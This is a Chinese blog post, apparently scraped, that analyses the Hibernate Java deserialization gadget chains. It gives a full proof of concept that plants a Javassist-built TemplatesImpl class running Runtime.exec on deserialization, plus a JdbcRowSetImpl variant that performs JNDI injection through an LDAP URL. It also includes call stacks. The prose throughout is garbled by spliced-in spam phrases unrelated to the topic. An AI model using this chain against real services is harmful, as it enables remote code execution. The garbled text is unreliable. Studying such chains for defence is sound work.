深究Java Hibernate框架下的Deserialization

写在前面

Hibernate是深究一个开源免费的、基于 ORM 技术的架下 Java 持久化框架。通俗地说，深究Hibernate 是架下一个用来连接和操作数据库的 Java 框架，它最大的深究优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的架下关系型数据库，只要在配置文件中设置好当前正在使用的深究数据库 ，程序员就不需要操心不同数据库之间的源码下载架下差异。

分析

对于Hibernate框架的深究反序列化链主要是通过调用了任意的getter方法 ，结合TemplatesImpl这条链子进行利用链的架下构造 。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

我们从这个注释可以知道 ，深究定义了一个类的架下属性值的相关策略

在接口中的定义了两个方法 ，分别为getGettergetSetter方法

该接口的深究实现类是BasicPropertyAccessor

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter类

首先，在其构造方法中传入了三个参数，免费模板架下分别是深究目标类 ，目标方法，目标属性。

同时关注get方法的实现，将会触发目标的method方法，这里就是漏洞点。

那么这个Getter又是从何而来的呢？

我们可以关注到BasciPropertyAccessor​类对getSetter方法的重写

在getSetter方法中将会调用createGetter​方法 ，进而调用了getGetterOrNull方法 
。

在该方法中，模板下载将会通过getterMethod​方法得到对应属性的getter方法名
 ，如果存在的话，将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

首先在该方法中将会调用theClass.getDeclaredMethods​方法得到目标类的所有存在的方法
，之后遍历这些方法
，如果该方法参数个数不为零就跳过 ，获取方法返回Bridge也会跳过，之后在获取该方法名之后，判断是否是get开头
 ，如果是服务器租用 ，将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法，而想要调用 ，还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢 ？

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

他是一个Getter对象数组 ，正好了 ，上面返回了一个Getter方法，可以反射写入这个数组中，源码库在getPropertyValue方法中调用其get方法，达到利用链的触发 。

但是值得注意的是AbstractComponentTuplizer是一个抽象类，我们寻找一下他的子类 。

存在有两个子类 ，DynamicMapComponentTuplizer​类和PojoComponentTuplizer类一个是处理映射为Map对象 ，一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer​类中存在有getPropertyValues方法 。

且能够调用父类的云计算getPropertyValues方法 ，

那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索
，发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中。

在其构造方法中传入了Type和Object对象的映射，在上面提到的ComponentType同样实现了Type接口 。

在构造方法中除了赋值，还调用了initTransients方法 。

创建了一个 ValueHolder 对象 ，并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性 ，我们可以关注到反序列化入口点 ，在hashCode​方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法 ，

在这里将会调用之前初始化时重写的initialize方法
，

如果此时的type是ComponentType​就将会调用它的getHashCode方法，

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的 ，首先创建一个TemplatesImpl对象

复制//

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes});1.2.3.4.5.6.7.8.9.10.11.12.

之后获取对应的getter 。

复制//

创建 BasicGetter 实例
，用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");1.2.3.4.5.

之后我们需要触发getter的get方法
，根据前面的分析 ，我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据。

复制Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);//

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);1.2.3.4.5.6.7.

完整的POC。

复制package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.type.Type;import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;public class Hibernate1 { public static void main(String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer"); //

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates, "_name", "RoboTerh"); SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes}); Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); Object getter; try { //

创建 GetterMethodImpl 实例 ，用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { //

创建 BasicGetter 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(templates.getClass(), method, "outputProperties"); } //

创建 PojoComponentTuplizer 实例，用来触发 Getter 方法

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass); //

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters); //

创建 ComponentType 实例，用来触发 PojoComponentTuplizer 的 getPropertyValues 方法

Object type = SerializeUtil.createWithoutConstructor(componentTypeClass); //

反射将相关值写入 ，满足 ComponentType 的 getHashCode 调用所需条件

Field field1 = componentTypeClass.getDeclaredField("componentTuplizer"); field1.setAccessible(true); field1.set(type, tuplizer); Field field2 = componentTypeClass.getDeclaredField("propertySpan"); field2.setAccessible(true); field2.set(type, 1); Field field3 = componentTypeClass.getDeclaredField("propertyTypes"); field3.setAccessible(true); field3.set(type, new Type[]{ (Type) type}); //

创建 TypedValue 实例 ，用来触发 ComponentType 的 getHashCode 方法

TypedValue typedValue = new TypedValue((Type) type, null); //

创建反序列化用 HashMap

HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18"); //

put 到 hashmap 之后再反射写入 ，防止 put 时触发

Field valueField = TypedValue.class.getDeclaredField("value"); valueField.setAccessible(true); valueField.set(typedValue, templates); ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap); SerializeUtil.readObject(byteArrayOutputStream); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.

解释一下其中try catch句中是因为：

在不同版本中，由于部分类的更新交替 ，利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链：

使用org.hibernate.property.access.spi.GetterMethodImpl​替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对 PojoComponentTuplizer 进行封装。

调用栈 复制exec:347, Runtime (java.lang)<clinit>:-1,

Evil

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:102, Hibernate1 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35. Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入 ，细节在fastjson的利用链中就讲过了，可以找一下我的文章。

因为我们能够触发任意的getter方法
，所以我们可以通过调用getDatabaseMetaData方法。

进而调用connect方法触发漏洞，

POC的构造也很简单，只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

复制JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");1.2.3.

调用链 复制exec:347, Runtime (java.lang)<clinit>:-1,

ExecTemplateJDK8

forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:91, VersionHelper12 (com.sun.naming.internal)loadClass:106, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:88, Hibernate2 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41. 总结

对于Hibernate的链子来说
，还是要看具体的版本
，再次修改POC ，自我感觉版本之间的关键方法差异有点大 。

Ref

https://su18.org/